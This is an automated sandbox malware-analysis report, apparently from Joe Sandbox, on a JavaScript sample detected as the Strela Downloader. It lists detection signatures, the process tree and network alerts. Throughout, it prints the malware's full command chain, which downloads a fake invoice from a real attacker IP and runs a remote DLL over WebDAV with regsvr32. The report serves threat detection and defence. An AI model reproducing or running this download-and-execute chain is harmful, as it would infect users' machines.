Edit tour

Windows Analysis Report
86328271623317904.js

Overview

General Information

Sample name:	86328271623317904.js
Analysis ID:	1588134
MD5:	7625ad5f02220d82b81c270a5b6f8118
SHA1:	120a81ea23e29beaaa425651aa64a50ebebe5007
SHA256:	64cc281dc2764ce8771480384e38ca595643571b9d6d60f995157f7631d945d7
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5072 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5172 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6684 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1724,i,4614132653791133059,3530622464817728905,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3984 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3424 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5648 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1336	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5072, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5172, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5072, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5172, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", ProcessId: 1336, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3424, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49717

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 5072, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 5072, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 5072, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 5072, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 5072, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", ProcessId: 1336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5072, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5172, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3984, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3424, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5648, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3984, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3424, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 5072, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:42:24.338793+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49717	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:42:21.941155+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 86328271623317904.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 86328271623317904.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49717 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:42:21 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49717

Source: global traffic

TCP traffic: 192.168.2.6:49717 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:64929 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

